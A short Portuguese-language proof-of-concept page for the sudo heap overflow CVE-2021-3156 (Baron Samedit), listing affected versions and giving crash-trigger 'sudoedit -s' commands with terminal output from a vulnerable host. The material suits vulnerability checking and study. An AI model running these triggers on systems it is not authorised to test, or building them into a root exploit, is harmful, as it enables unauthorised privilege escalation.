
Exploit de prova de conceito para CVE-2021-3156, um estouro de buffer baseado em heap no sudo que permite escalada local de privilégios para root via sudoedit -s com um argumento de linha de comando manipulado.
A vulnerabilidade Baron Samedit (CVE-2021-3156) afeta versões legadas do sudo 1.8.2 até 1.8.31p2 e versões estáveis 1.9.0 até 1.9.5p1. Esta falha de estouro de buffer baseado em heap foi introduzida em julho de 2011 através do commit 8255ed69 e permaneceu não detectada por quase uma década.
O sudo anterior à versão 1.9.5p2 contém um erro de off-by-one que pode resultar em um estouro de buffer baseado em heap, o que permite escalonamento de privilégios para root através de "sudoedit -s" e um argumento de linha de comando que termina com um único caractere de barra invertida.
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)
shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)